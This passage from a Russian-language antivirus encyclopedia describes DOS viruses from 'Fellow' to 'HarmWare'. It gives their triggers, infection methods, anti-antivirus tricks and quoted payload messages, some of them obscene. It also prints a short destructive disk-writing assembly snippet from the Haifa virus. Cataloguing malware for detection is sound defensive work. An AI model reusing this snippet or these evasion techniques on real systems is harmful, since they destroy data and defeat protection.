Nice Meet You See AgainNO WORK LAW".
Fellow.1019
Неопасный резидентный вирус. В сентябре при старте любой программы
выводит текст:
This message is dedicated to
all fellow PC users on Earth
Towards A Better Tomorrow
And A Better Place To Live In
Fence.2089
Неопасный резидентный шифрованный вирус. После 10000 нажатий на клавиши
может проиграть мелодию и в это время изменять строчные буквы на
прописные на экране монитора.
FFC.1000
Неопасный резидентный шифрованный вирус. Иногда помещает в служебную
ячейку памяти клавиатуры 0040:001Ah значение 0FFh.
Ffff.432
Опасный резидентный вирус. 13 сентября уничтожает 13 секторов диска C:.
FifteenYears (1,2)
Опасные загрузочные шифрованные вирусы. 7 апреля вирусы уничтожают
содержимое секторов дисков, записывая в них текст "Esto te pasa por
programas que a nosotros nos cuesta tanto trabajo hacer. Que te quede
de Experiencia, МВxico,1994". Также содержат текст "This Virus is from
MEXICO, I have 15 years old".
Filler (1-3)
Опасные загрузочные стелс - вирусы. При заражении флоппи - дисков
форматируют дополнительную дорожку, на которую записывают свой код и
оригинальный загрузочный сектор.При запуске COMMAND.COM,вирусы копируют
свои резидентные копии в область "нижних" адресов памяти. Могут вывести
на экран текст:
Haha,vбrus van a gВрben!!
Ez egy eddig мВg nem кФzismert vбrus. De hamarosan az lesz.
A neve egyszerБеn tФltФgetФ
Ezt a nevВt onnan kapta, hogy feltФltФgeti a FAT-tаblаt
кФlФnbФzФ alakzatokkal.
Ez маr meg is tФrtВnt !!!
После этого разрушают FAT,"рисуя" в секторах которой следующую картину:
****** ******
* ** *
* * * ** * * *
* ** *
* **** ** **** *
* * * *
**** ****
Find.229, 512, 600, Find.BigX
Неопасные резидентные вирусы. Заражают файлы при вызове функций
FindFirst, FindNext (f.11h,12h,4Eh,4Fh INT 21h). Find.BigX не заражает
файлы, начинающиеся на SC или AI. Он содержит строку [BigX].
FinnPoly.2179
Опасный резидентный полиморфный вирус. По возможности устанавливает
свою резидентную копию в область UMB. Создает расшифровщик вирусного
кода в области программного кода, после чего передает ему управление с
помощью команды CALL SP. Данная команда некорректно работает на
компьютерах с процессором i386. Вирус размножаться на таких компьютерах
не сможет, и скорее всего, "завесит" систему. Вирус удаляет файлы:
ANTI-VIR.DAT, AV.CRC, AVP.CRC, CHKLIST.CPS, CHKLIST.MS, MSAV.CHK. Если
значение дня равно значению месяца, то вирус выводит текст:
First.343
Неопасный резидентный вирус. Содержит текст "First 1.1 Copyright (c)
1997 DataLife+ Corp.".
First.3032, 3173
Неопасные резидентные вирусы. "Перехватывают" INT 9,13h, 1Ch, 21h, 28h.
Выводят на экран мелькающую строку "1st".
г==============================================================================¬
¦ EBOLA@RNA1.polymorphic.virus.FI ¦
¦ ¦
¦ (c) 1995 KL / LAN Vision ¦
¦ MH / Data Fellows Ltd ¦
¦ ¦
¦ (fax +358-0-478 44 599 to get an antivirus program) ¦
¦ ¦
¦ DISCLAIMER: THIS PROGRAM HAS BEEN SPREAD "AS IS", SO NO WARRANTY OF ANY KIND ¦
L==============================================================================-
Fish#6 (1-5)
Резидентные опасные шифрованные стелс-вирусы. Шифруют свой код не
только в файлах, но и в памяти, используя некоторые антиотладочные
приемы. Fish#6 (2), при совпадении значения текущего дня со значением
месяца, уничтожает содержимое жесткого диска. С 1991 года вирусы при
старте выводят сообщение:
FISH VIRUS #6 - EACH DIFF - BONN 2/90"
и "вешают" систему. Содержат также тексты "COD", "SHARK", "CARP",
"BASS", "TROUT", "MUSKYZ", "SOLE", "PIKE", "MACKEREL", "FISH", "TUNA",
"FISH FI","Don't trouble trouble until trouble troubles you.","(c)Fly".
Fisher.1100, 2420
Резидентные вирусы. Fisher.2420 - опасен, при выводе на печать, данный
вирус выводит после знаков препинаний нецензурные словечки. Fisher.1100
может вывести текст "(c) Copyright 1992 by Fisher. Version 3.0 . PUNK-
ROCK & BEER FOREVER !". Fisher.2420 содержит текст "(c) Copyright 1991-
92 by Fisher. Version 2.0 .Идея эффектов на принтере - ДАС-2, комната
1405 .".
Fist.709, 711
Неопасные резидентные вирусы. Содержат текст "I am a stranger in a
strange land..." или "Screaming Fist".
Fisu
Неопасный загрузочный шифрованный вирус. Содержит строку ""FISU"".
Flagyll.349
Неопасный резидентный вирус-спутник. 3 ноября выводит сообщение
"DID YOU VOTE, SHITHEAD??".
Flagyll.316, 369
Очень опасные резидентные вирусы. Записывают свой код в начало EXE-
файлов, не сохраняя программный код. Содержат текстовые строки
"-=[Crypt Newsletter 13]=-", "Flagyll".
Flame (1-3)
Опасные Boot-вирусы. Оригинальный MBR не сохраняют, на дискетах Boot-
сектор сохраняет по адресу: головка-1, цилиндр-25, сектор-1, уничтожая
данные в данном секторе. Иногда рисуют на экране картинку похожую на
пламя.
Flex.491
Неопасный резидентный вирус. 17 числа после 22.00 при нажатии на
клавишу "Del" выводит сообщение "Flex-It-Up gal! Time to have sex!".
Имеет также строки "Admiral Bailey", "[FLEX]".
Flip.2153, 2343, 2365
Неопасные файлово-загрузочные полиморфные вирусы. Заражают MBR жесткого
диска и COM, EXE-файлы. 2 числа месяца вирус "переворачивает" экран.
Левый верхний угол экрана оказывается в правом нижнем углу. Flip.2343,
2365 производят поиск в каждом инфицируемом файле последовательности
команд:
MOV DX,Data1
MOV Data2,DX
MOV DX,Data3
MOV Data4,DX
и изменяют их на вызов INT 9Fh (CD 9F). Данная последовательность
команд используется в командном процессоре COMMAND.COM при выводе на
экран результатов длин файлов после поиска файлов (функции (FindFirst,
FindNext). Вирусы "перехватывают" INT 9Fh и при вызове данного
прерывания уменьшают полученное значение длины файла на величину
вирусного кода. Содержат текст "OMICRON by PsychoBlast".
Floyd.1542
Неопасный резидентный шифрованный вирус. Иногда выводит сообщение:
Now life devalues day by day, as friends and neighbours turn away,
And there's a change, that even with regret, cannot be undone...
PiNK FLOYD, The Division Bell.
MCH' 97
[Any Key]
Также содержит строки "FLOYD ViRUS v.1.01.095", "MCH".
Fly.1769
Резидентный полиморфный вирус. Иногда перехватывает INT 1Ch (таймер) и
проигрывает какую-то мелодию. Содержит строку "Fly 1.1".
Fm.765
Содержит строки "MsDos", "COMMAND", "FMCIKLMOFR".
Fog.AirRaid.1728, 1731 (1,2)
Неопасные резидентные полиморфные вирусы. Содержат текст "Air Raid in
the [Fog 1.0]".
Folks.618
Неопасный резидентный вирус. Не инсталлируется в память если текущий
каталог содержит подкаталог \LAN. В 0.00, 3.00, 6.00 и 9.00 выводит
текст "THAT'S ALL, FOLKS !".
Forever.896
Не заражает программу AIDSTEST. Содержит строки "No WINDOWS, MS-DOS
forever...", "Excuse Me, please...".
Forever.930
Не заражает программы AIDSTEST.EXE и ADINF.EXE. Содержит зашифрованный
текст "No WINDOWS, MS-DOS forever...".
Form (1-4)
Опасные вирусы. Могут уничтожить данные на жестком диске. Содержат
строку "The FORM-Virus sends greetings to everyone who's reading this
text. FORM doesn't destroy data! Don't panic! Fuckings go to Corinne.".
Frankenstein
Очень опасный загрузочный вирус. Заражает MBR всех жестких дисков,
установленных в компьютере. "Перехватывает" INT 8, 12h, 13h. Может
уничтожить содержимое секторов жестких дисков. Содержит тексты:
ЯrЕдкКдstКЛд's МЕgЛс v1.00a (C) Copyright 1992, Megatrends 2000 Corp.
ThК JФhЕд ЯЕмЛly
---- HISTORY ---
I born at 11 October 1992 - 7 pm o'clock.
My mission is make all Diskette DESTROY if my 3 Counter same.
My name is ЯrЕnкКnstКЛn's МЕgЛс v1.00a
my Copyright is (C) Copyright 1992, Megatrends 2000 Corp.
ThК JФhЕд ЯЕмЛly is my best family.
WARNING : I will DESTROY you disk if touch me!!!
if you want my listing, please write you name in MikroData
this change only three times. I protect you HardDisk from
Illegal hand and I count my children, Good bye.
Freddy.1663
Опасный зашифрованный нерезидентный вирус. Может удалить файлы с
расширениями, отличными от COM, EXE, SYS. Содержит текст:
FREDDY_SOFT
jln lobilobi blok Q27 Kalibata indah JAKARTA Selatan
Greetings to STACK RIPPER, DOUBLE CLICK, SINGLE DRIVE
COMEXESYSAUTOEXEC.BATIBMBIO.COMIBMDOS.COM
Freddy.1870
Очень опасный резидентный вирус. Заражает файл COMMAND.COM по алгоритму
вируса Lehigh, т.е., длина COMMAND.COM не изменяется. Может затереть
сектора диска строкой "Freddy Krg".
Freddy.2271
Опасный полиморфный резидентный вирус. Иногда при записи в файлы (f.40h
INT 21h) изменяет случайный байт. Содержит текстовые строки "Fridrik!"
и "Freddy KRueGer 2.1".
Freedom.2448, 2560, 3600
Очень опасные резидентные зашифрованные вирусы. При обнаружении слов
"воен", "арми", "солдат", "оруж", "военком", "полковник", "призывн",
"вооружен" вирус уничтожает случайные сектора на жестком диске
(Freedom.2560, 3600) или все сектора (Freedom.2448), записывая в них
фразу "Закон о всеобщей воинской обязанности - ГРУБЕЙШЕЕ НАРУШЕНИЕ прав
Человека !". Содержат тексты "COMMAND AIDS .EXE .COM", "F R E E D O M",
"ПОМНИТЕ - УНИЧТОЖИВ ЭТУ ПРОГРАММУ ИЛИ ЕЕ СОЗДАТЕЛЯ, ВЫ УНИЧТОЖИТЕ
СЛЕДСТВИЕ, НО НЕ ПРИЧИНУ ...", а также:
Freedom.2448:
ВвОоЕеНн СсОоЛлДдАаТт ОоРрУуЖж
С В О Б О Д А * 1.45/2/01.02.1995
Freedom.2560:
ВвОоЕеНн АаРрМмИи СсОоЛлДдАаТт
С В О Б О Д А * 1.00/1/18.9.1994
Freedom.3600:
С В О Б О Д А * 2.15/3/09.05.1995
ВвОоЕеНнКкОоМм ПпОоЛлКкОоВвНнИиКк ПпРрИиЗзЫыВвНн ВвОоОоРрУуЖжЕеНн
Любой Человек имеет право на С В О Б О Д У, право Ж И Т Ь,
право Н Е У Б И В А Т Ь.
Закон о всеобщей воинской обязанности ЛИШАЕТ Человека всех этих прав.
Fricker.395
Неопасный нерезидентный вирус. В девятом часу утра выводит на экран
текст "FRICKER-1 is glad to meet YOU!".
Frodo.4096 (1,2)
Опасные резидентные стелс-вирусы. После 21 сентября должны записывать в
MBR код, выводящий на экран следующий текст:
---- ------ ------ ------ ------ ------ ------ ------ ------ ------ --
- -
- -
-
----- ---- --- ---- --- -
- - - - - - - - - - -
- - - - - - - - - - -
- ---- ----- - - - - - -
- - - - - - - - - -
- - - - --- ---- --- -
- -
-
- - - - ----- --- -- -
- - - - - - - - -- -
- - - - - - - -- -
- - - - - ---- --- --
- - - - - - -- -
- - - - - - - - -
- ---- - - ----- --- -- -
-
-
- -
- -
-
------ ------ ------ ------ ------ ------ ------ ------ ------ ------
FrodoSoft.590
Неопасный нерезидентный вирус. Содержит строку "(c) fotos rofd".
Fsmm.2971
Опасный резидентный полиморфный вирус. Внедряет вирусный код сразу за
заголовком EXE-файла,зашифровав и переместив предварительно программный
код в конец файла. Из-за ошибки в вирусе некоторые инфицированные файлы
восстановлению не подлежат. Такие файлы при старте, как правило,
"вешают" систему. Вирус содержит текст "Fire/Space version 1.0, from
Новгород, with FSMM v1.0(Fire/Space Mutant Machine)".
Fumble.867
Опасный нерезидентный вирус. Оставляет в памяти резидентный код "на INT
16h", который подменяет некоторые символы, вводимые с клавиатуры.
Содержит строку "V1".
Funky.692
Неопасный резидентный вирус. Ищет в COM-файлах последовательность 692ух
повторяющихся байт и если находит ее, то внедряет свой код в данное
место файла. Если данной последовательности нет, то вирус заражает файл
стандартным способом. При нажатии на Ctrl-Alt-Del издает некоторые
музыкальные звуки.
Future.3180
Неопасный резидентный вирус. Заражает COMMAND.COM и файлы на флоппи-
дисках. Содержит зашифрованные тексты:
COMSPEC=C:\COMMAND.COM command.com \ARJ. .COM .com .EXE .exe \AIN.
\ain. \RAR. \MSAV. C:\COMMAND.COM
Terminator Model 1.3 *Future Virus*
Fy.338
Неопасный нерезидентный вирус. Если вирус не находит *.COM-файлы для
заражения, то он пытается положить в буфер клавиатуры нецензурное
выражение на английском языке "F... YOU".
Fynov.4309
Опасный резидентный шифрованный вирус. Иногда выводит на весь экран при
некоторых ошибках английское нецензурное выражение.При старте программы
*ST (AIDSTEST) иногда выводит текст "No viruses". ПРи старте программы
*BO (?) "перехватывает" INT 17h и может при выводе на принтер вставить
уже русское непотребное слово. Иногда игнорирует нажатие на клавиши.
Galicia (1,2)
Опасные загрузочные вирусы. 22 мая после 12.00 выводят текст "Galicia
contra telefonica!" и форматируют первый цилиндр первого жесткого
диска.
Gallery.631, 782
Содержат строку "Art Gallery++".
Galya.500 (1,2)
Очень опасный вирус. 17 декабря уничтожает по 255 секторов на 3
логических разделах жесткого диска, выводит текст "Today is GALYA'S
birthday" и "вешает" систему. Думаю, что Галя очень обрадуется, увидев
на экране своего компьютера данное поздравление в свой день рождения.
Неплохой подарок.
GCAE-вирусы
GCAE (Golden Cicada Abnormal Engine) - полиморфный генератор вирусных
шифровщиков и расшифровщиков. Создан вирусописателем по "кличке" Golden
Cicada in Taipei, Taiwan. Генератор содержит текст "[GCAE] v1.0".
GCAE.Demo
Неопасный демонстрационный вирус данного генератора, распространяемый в
комплекте с ним в виде файла и исходного текста.
GCAE.Vimg
С декабря 1995 года при старте вируса будет выводить на экран текст:
[Mind Fucker]
By HERETiX & WiLD D0G,[ViMG]
WiLD D0G Ira
Содержит также текстовую строку "//UCL".
Gentry.1570
12 июня выводит на экран текст:
---------------------------¬
¦ ¦
¦ ¦
¦ С ПРАЗДНИКОМ ГОСПОДА ! ¦
¦ ¦
¦ ¦
L---------------------------
Getto.2000
Опасный резидентный полиморфный вирус. 8, 16 и 24 числа месяца может
удалить файлы C:\IO.SYS, C:\MSDOS.SYS, C:\CONFIG.SYS и вывести текст:
DOS/4GW Professional Protected Mode Run-time Version 1.95
Copyright (c) Rational Systems, Inc. 1990-1993
Getto Virus Version 1.0с Copyright (C) 1995,96 by Geci Пllat
This Getto requirest 80286 or better processor
Formating Hard Disk #1 [...................]
Formating Hard Disk #2 [...................]
Ready.
gEtTo Always the Best! MS-SUX Destroyer
Содержит текст "Tested with F-Prot v2.22 and TBAV700".
Gexa.2324
Неопасный резидентный полиморфный вирус. Устанавливает свою резидентную
копию в область UMB. При старте программы, начинающейся на AIDS - вирус
выводит текст "Не поможет!". При вводе с клавиатуры слова "gexa ",
вирус помещает в буфер клавиатуры фразу "- i am here!", при вводе
"yalta " - фразу "- nice town..!" и обезвреживает при этом свой
резидентный обработчик INT 21h.
Ginger.2691
Незначительно отличается от Ginger.2774 (см. ниже). Сохраняет адрес
оригинального Boot-сектора, но только головку и сектор. Значение же
цилиндра не проверяет, считая, что он всегда должен быть - 0. Если же
значение цилиндра отличается от нуля, то загрузка операционной системы
с жесткого диска на таком компьютере становится невозможной.
Ginger.2774
Файлово-загрузочный стелс-вирус. При запуске зараженной программы
корректирует MBR, устанавливая адрес активного Boot-сектора на
цилиндр-0, головка-0, сектор-2. Старый адрес Boot-сектора не сохраняет,
считая что он всегда должен располагаться по адресу цилиндр-0,
головка-1, сектор-1. Начиная с сектора 2 записывает в 6 секторов свой
код. Содержит текстовые строки: "You can't catch the Gingerbread
Man!", "Bad Seed - Made in OZ", "10/23/92".
Ginger.Orsam.2624
Дальнейшее развитие Ginger.2774. Содержит строки "You can't catch the
Gingerbread Man!" и "Orsam - Made in OZ".
Girl.1036
Опасный нерезидентный вирус. 3 июля пытается считать загрузочный сектор
диска A:, создает файл A:\BOOT.SEC, записывает в данный файл 512 байт
содержимое оригинального загрузочного сектора и записывает в данный
сектор код, который при загрузке системы с такого диска выводит на
экран текст "I YOU GIRL IN GREEN!".
Girls.1829
Неопасный нерезидентный вирус. Иногда завешивает систему. Может вывести
текст: "I love you, girls ! You are so beautiful !".
Globus.1742
Неопасный резидентный вирус. Создает файл C:\REKLAMA.TXT, в котором
помещает рекламу некой фирмы "ГЛОБУС-ПЛЮС" из г. Иваново. Несколько
странная роль участия в данной области рекламы компьютерного вируса.
Gloomy.2000
Неопасный резидентный вирус. Вирус перехватывает INT 8 и через каждые
24 секунды устанавливает новые значения регистров DAC монитора. В
результате создается впечатление, что экран монитора медленно "гаснет".
Gluck.761
Oпасный резидентный вирус. Удаляет файлы CHCKLIST.MS. В 0 часов выводит
текст "You iave a •GLUCK•!!!" и "трясет" экран. При старте программы
*WEB.EXE выводит текст "Error reading fat!" и завершает ее работу.
Goblin.1759
Неопасный резидентный файлово-загрузочный стелс-вирус. Иногда "мигает"
экраном. Содержит строку "DELWIN".
Goddamn.302
Содержит строку "Goddamn Butterflies".
GoldBug (1-5)
Опасные полиморфные файлово-загрузочные стелс-вирусы-спутники. Заражают
MBR жесткого диска, Boot-сектора дискет емкостью 1.2M и *.EXE-файлы,
создавая вирусы-спутники с именем EXE-файла. Сам же EXE-файл
переименовывают в файл со своим прежним именем, но без расширения.
Размещают свою TSR-копию в области HMA-памяти. Перехватывают INT 13h,
21H, 2Fh (и INT 10h на этапе инсталляции с инфицированного диска, для
контроля за загрузкой DOS в HMA-память). Содержат текстовые строки
"CHKLIST????" и "1O7=0SLMTA". Последнюю строку в обратном порядке, при
заражении EXE-файлов, вирусы могут послать в модемный порт -
ATMLS0=7O1. Удаляют файлы CHKLIST???? в директории заражаемого
EXE-файла. Удаляют программы при их старте, содержащие в своем имени
предпоследнюю букву "A" и последнюю букву, значение ASCII кода которой
меньше 79 (4Bh) "O". Например, при запуске программа SCAN.EXE будет
удалена вирусами GoldBug.
Gorinich.776
Неопасный резидентный вирус. Содержит зашифрованную строку "Zmey
Gorinich v0.04".
Gorlovka.1022
Неопасный резидентный вирус. Для COM-файлов внедряется в область
повторяющихся байт кода или данных, не изменяя длины инфицированной
программы. Содержит текст "GORLOVKA9101".
Gosha.1831
Опасный резидентный вирус. Внедряется в середину файлов, имеющих
длины 54619, 52925, 47845 (разные версии COMMAND.COM). 4 марта и 7
ноября уничтожает содержимое текущего флоппи-диска или первого жесткого
диска. Содержит текст "GOSHA".
Gotcha.605
Неопасный резидентный вирус. Содержит строку "GOTCHA!".
GreenMonster.711, 784, 839
Опасные резидентные вирусы. Периодически пытаются отформатировать одну
дорожку гибких дисков. Содержат текст "Green Monster. I"m happy".
Grace.1346
Неопасный резидентный вирус. Внедряет свой код в середину и конец
файлов. Иногда может вывести текст "Have a nice piss-up!" или "Have a
DOS!". Содержит тексты "-[Grace] by ТДLФN 94-", "You make me sick I
make viruses".
GraveLion.2250
Неопасный резидентный файлово-загрузочный полиморфный вирус. При старте
инфицированной программы заражает MBR, изменяя в ней ссылку на первый
загрузочный сектор, и подставляет вместо этого адреса ссылку на свой
загрузчик. При старте программ, имена которых заканчиваются на B, F и
T (а также при нажатии на Ctrl-Alt-Del) вирус удаляет в MBR ссылку на
свой код, по окончании работы этих программ опять заражает MBR.Содержит
текст "[Бычий Цепень] v1.0 Copyright (c) 1995 Grave Lion". Иногда при
ошибке в процессе загрузки может вывести текст "Access to Hard Drive
denied...".
Gregory.996
Очень опасный нерезидентный вирус. Из-за ошибки разрушает файлы при
заражении. Может вывести текст ""Григорий-01.2"".
Gremlin.1405
Неопасный резидентный полиморфный вирус. Содержит следующие тексты:
[ Gremlin 1.04 / AVL ]
[ Как видите, г-н Данилов, обмануть Ваш эвристический анализатор не так
уж и трудно... ]
KREG 1.01 / AVL
Gripe.1985
Неопасный резидентный полиморфный вирус. Не заражает файлы,начинающиеся
на TB, SC, CL, F-, MS, NA. Содержит текст "ViRUS GRiPE by dEMETH KNOX
(17/03/95, ARGENTINA)".
Grog.495
3 числа до 12 часов изменяет символ '(' ASCII 40 на символ с
вертикальной надписью "GROG". Содержит тексты:
Gg CHAR2GROG (C) '93 by GROG - Italy
_/\(*,*)/\_ _/\*,*/\_ _\*,*/_
Grog.2075
Опасный шифрованный вирус. Уничтожает файлы CHKLIST.CPS. Содержит
текстовые строки:
""4/93""
GROG v4.0 (C) '93 by GROG - Italy
Grog v4.0 is here! HaHaHa!
MBIOMDOSSCANLEANPROTCPAV
Не заражает файлы, имеющие сочетания букв из последней строки.
Grog.2825
Опасный шифрованный вирус. Уничтожает файлы ANTI-VIR.DAT, CHKLIST.*,
\NAV_._NO Содержит текстовые строки:
-=ЁGROG v5.0 (C) '93 by GROG - ItalyЁ=-
IBMBIOIBMDOSSCAN CLEAN F-PROT CPAV MSAV NAV
Не заражает файлы, имеющие сочетания букв из последней строки.
Grog.4ever.1200
Неопасный полиморфный вирус. В инфицированных программах может изменить
строку "Microsoft" (если таковая имеется) на строку "Grog*Soft". Данная
строка будет изменена только в памяти, и если эта строка выводится на
экран, то вместо названия известной фирмы будет выведена
строка-копирайт вируса из Италии. Вирус также содержит текстовые строки:
-=ЁGROG 4EVER!Ё=-
_/\"+","+"/\_
""2/93""
GROG v3.1 (C) '93 by GROG - Italy
Microsoft C:\COMMAND.COM
Grog.Bog.233
Неопасный нерезидентный вирус. Ищет MS-Windows EXE-файлы и внедряется в
их код, работающий под DOS. Обычно Windows EXE-файлы имеют код, который
выполняется только в DOS и служит для того, чтобы сообщать пользователю
о том, что данная программа должна работать под управлением MS-Windows.
Как правило, данный код состоит из строки типа "This program requires
Microsoft Windows." и нескольких инструкций ассемблера, выводящих
данный текст на экран и возвращающих управление обратно в среду DOS.
Данные инструкции выглядят, обычно, так:
POP DX ; указатель на строку о необходимости Windows
PUSH CS
POP DS
MOV AH,9
INT 21h ; вывод сообщения на экран
MOV AX,4C01h
INT 21h ; окончание работы и выход в DOS
Вирус Grog.Bog.233 считывает 256 начальных байт DOS-кода и ищет в них
строку "Win". Если строка найдена, то вирус ищет последние 3 байта
указанного выше DOS-кода (4C CD 21). Если данные байты найдены, вирус
записывает 233 байт своего кода, начиная с последнего вызова INT 21h.
Таким образом DOS-код после этого выглядит следующим образом:
MOV AH,9
INT 21h ; вывод сообщения на экран
MOV AX,4C01h
CALL $+3 ; вместо окончания работы и выхода в DOS - код вируса
POP BP
При запуске под MS-Windows такой файл будет работать как обычно, т.к.,
DOS-код в этом случае не получает управления. При запуске же из DOS
программа расскажет о необходимости присутствия MS-Windows, после чего
вирус начнет искать очередную жертву. Содержит текстовую строку "BOG
(C) '93 by GROG - Italy".
Grog.Hop
Производит поиск и заражение *.COM файлов только на дисках A: и B:.
Внедряется в середину файла, в область повторяющихся байт, используя
для записи в файл на гибких дисках INT 40h. Содержит тексты:
HopHopHop (c) '93 By GROG - Italy
"Guida alla Corsa"
Capitolo primo
Come correre al modo dei conigli.
Hop Hop Hop
Hop Hop Hop
Grog.Metafora
Неопасный нерезидентный вирус-спутник. Производит поиск *.COM файлов,
переименовывает их в файлы с такими же именами, но с расширением EXE,
и создает соответствующие им файлы с расширением COM, содержащими
вирусный код. 29 февраля выводит на экран текст:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=¬
¦ "^" JoeMetafora (C) '93 by GROG - Italy "^" ¦
L=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
28 февраля выводит другое сообщение:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Il velario della notte avviluppava gli amanti fuggitivi.
Ad onta delle minacce di gravi cimenti, oceani di affetto li avevano tenuti
[uniti.
Ora, un nuovo ghiacciolo di terrore squarciava il ricamo della loro esistenza.
JOE METAFORA
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Grog.Miami
Неопасный нерезидентный полиморфный вирус. Содержит текст:
Mi Ami(C)'93byGROG-Italy
"Mi ami?" chiese lei.
"Ma certo", rispose lui.
"Mi ami davvero?" chiese lei.
"Ma certo", rispose lui.
"Mi ami davvero davvero?" chiese lei.
"No", rispose lui.
"Mi ami?" chiese lei.
"Ma certo", rispose lui.
Lei non chiese piu' altro.
Grog.NTA
Неопасный нерезидентный вирус. Под отладчиком может вывести следующие
сообщения:
¦--- . ¦--- ¤ . ¤ ¦--- ---¦ .
--- ---¦ -- ---¦ -- ¦--- -- ---¦ ¦--- ---
¤.¦--- - ¦--- . ---¦ .¦--- ---¦ .¤
. ---¦ ·- ---¦ ¦--- · ---¦---¦---
¦--- ¦--- ¤ ---¦ . ¦--- . ---¦ .
·---¦ . ---¦ · --¦ ---¦. ¤ ¦---
¦-- $*BR*$
The Nokturnal ¦-
Trading Alliance -
¦
¦
Grog4Ever
Grog.Crackers.NTA (c) 1993 by GROG
Grog.Razor
Неопасный нерезидентный вирус. Под отладчиком может вывести следующие
сообщения:
______/\_____/\________.__________/\
\_____ \____ \_____ | ________ \
| _ _/| |\ \/ ___| | || _ _/
| | \| |_\ \ \__| | || | \_
|__|_ /__|\___/\____|___ /|__|_ /
"========\/==================\/======\/=="
Grog4Ever
Grog.Crackers.Razor (c) 1993 by GROG
Grog.Sempre
Очень опасный нерезидентный вирус. Производит чтение секторов флоппи-
дисков через INT 40h и поиск в них первой команды JMP или CALL (байт
E9h или E8h). Если данный байт будет найден, то вирус записывает свой
код в данный сектор. При ошибке чтения сектора вирус выводит текст:
"Il nostro amore durera' per sempre", disse lui.
"Oh, si, si, si!", esclamo' lei.
"Intendendo 'sempre' in senso relativo, pero'", disse lui.
Lei lo colpi' con una racchetta da sci.
Содержит также строку "_Sempre_(C)_'93_by_Grog_Italy_".
Grog.WildCards
Неопасный нерезидентный вирус. Под отладчиком может вывести следующие
сообщения:
--- --- - -- ----- C
¦---¦ --- ----- -- --- a
---- ---¦--- --- --- -- -- -¦-¦--R-
----¦ --- ---¦-¦ --¦ -- -- ¦-- D
------ -------- ¦-¦ ----------- S
------- -- - - --- ---------- ---!-
]э[ WE ARE BACK! ]э[ [o1/o3]
Grog4Ever
Grog.Crackers.Wild_Cards (c) 1993 by GROG
Grosser.607
Неопасный нерезидентный вирус. Содержит тексты:
0000 virus
-----------------------------------------------------¬
¦ Virus 0000.0000 Created by GROSSER (C) 1996 AUGUST ¦
¦ ---- --- ----- --- --- ---- --- ¦
¦ - - - - - - - - - - ASSEMBLER ¦
¦ - -- --- - - ---- ---- ---- --- PASCAL ¦
¦ ----- - -- ----- ---- ---- ---- - -- BASIC ¦
L-----------------------------------------------------
Gullich
Неопасный загрузочный вирус. Выводит на экран текст "Wolfgang GБllich".
Содержит текст "In memory of Wolfgang GБllichMilan Italy 94".
Gunia.727
Опасный нерезидентный вирус. 31 числа уничтожает содержимое MBR первого
жесткого диска. Пытается открыть файл c:\gunia.
Ha.798
Очень опасный нерезидентный замещающий программный код вирус. В субботу
пытается отформатировать 45 начальных цилиндров первого жесткого диска.
Иногда выводит сообщение:
HA! HA! HA!
Your computer is infected now by the
most likely and non-dangerous virus!
Please enjoy it!
Your MBR may now be corrupted...
и уничтожает содержимое MBR. По окончании своей работы выводит текст:
General error reading drive C:
Abort, Retry, Ignore, Fail?
Hadi.6153
Неопасный резидентный вирус.Может заполнить экран строкой "Hercul Hadi"
и вывести текст:
by
Hadi Javan Amirkhizi
03/07/1996
TABRIZ--IRA
Call me to repair your system (if you find)
Press CTRL key for 5 seconds to return
Haharin
Опасный загрузочный вирус. Не сохраняет оригинальный сектор при
заражении флоппи-дисков. После 256 загрузок с жесткого диска уничтожает
содержимое первого жесткого диска и выводит на экран текст: "Haharin is
not dead !".
Haifa.2352 (1,2)
Опасные резидентные полиморфные вирусы. Внедряются в память по
фиксированному адресу 9F00:0000 без коррекции MCB, в результате чего
продолжительность их "жизни" - невелика. При первом же запуске вирусы
стремятся заразить файл COMMAND.COM. Периодически "вешают" систему.
Haifa.2352 (1) иногда выводит содержимое экрана на принтер (INT 5).
Haifa.2352 (1) записывает в *.BAK файлы текст:
... What is backup for anyway???
BackUp is usually unneccessary!
End..
А в *.DOC и *.TXT файлы записывает текст:
What's 455260 MI COUNTACH 5000 CC???
Instead of reading this junk, think about it!
5 мая Haifa.2352 (1) выводит текст:
KIRYAT MOZKIN!!!
LOCAL PROCESS INDUSTRY.
VIRUS DONE BY:
SIBEL ,TEACHES
HOW TO MANAGE SHEEP?
Thanks for using Turbo Anti Virus.
PLEASE JMP FE00:0
Haifa.2352 (2) в *.ASM и *.PAS файлы записывает текст:
.model small
.code
s: mov ax,310h
xor cx,cx
mov dx,80h
int 13h
end s
18 августа или 4 апреля выводит на экран текст:
HAIFA VIRUS V1.01
WRITTEN BY Y.S.
GUEST STARS: T.S. & I.F.
MADE IN ISRAEL
I AM TIRED. PLEASE WAKE ME UP ON TUE 12.4.3456
PRESS RESET TO CONTINUE...
Содержит тексты: "CONST VIRUS='HAIFA'",
"OOPS! Hope I didn't ruin anything!!!
Well, nobody reads those stupied DOCS anyway!".
Halfive.512
Опасный файлово-загрузочный вирус. Блокирует удаление файлов. Содержит
текст "ONE_HALF35/7".
Hal
Неопасный загрузочный вирус. Может вывести на экран текст "HAL 3001".
Hal.2862
Неопасный нерезидентный полиморфный вирус. Заражает MBR жесткого диска
загрузочным вирусом Hal.
Harlot.738, 5632 (1,2)
Harlot.5632 (1,2) - опасные резидентные вирусы. "Сбивают" системное
время. Периодически выводят в рамке случайное сообщение (см.
SGWW.Nostardamus.5995) и ждут нажатия на клавишу "пробел". Иногда
выводят еще одно сообщение:
Вирус HARDY HARLOT v1.06 by CRAZY
Киев , КИИГА ФАРЭО 101 ,20.05.94
CRAZY подружись со мной. ФАВТ 2..
Исправлено: файлов - 25
Virus segment - 9E5F
Harlot.738 содержит текст:
Hello ! I'm virus Hardy-Harlot !
Don't hurt me ,please . v1.03
Harmless.1082
Опасный резидентный, частично зашифрованный, вирус. Портит при
заражении EXE-файлы, имеющие внутренние оверлеи. Содержит тексты
"Eat me Lozinsky!", "Harmless v1.0, 10/06/92 Tyumen".
HarmWare.3516, 3716
Опасные резидентные полиморфные вирусы. При заражении файлов вирусы не
изменяют их длину.При внедрении в файл вирусы производят анализ данного
файла с целью выяснения возможности его упаковки достаточно простым
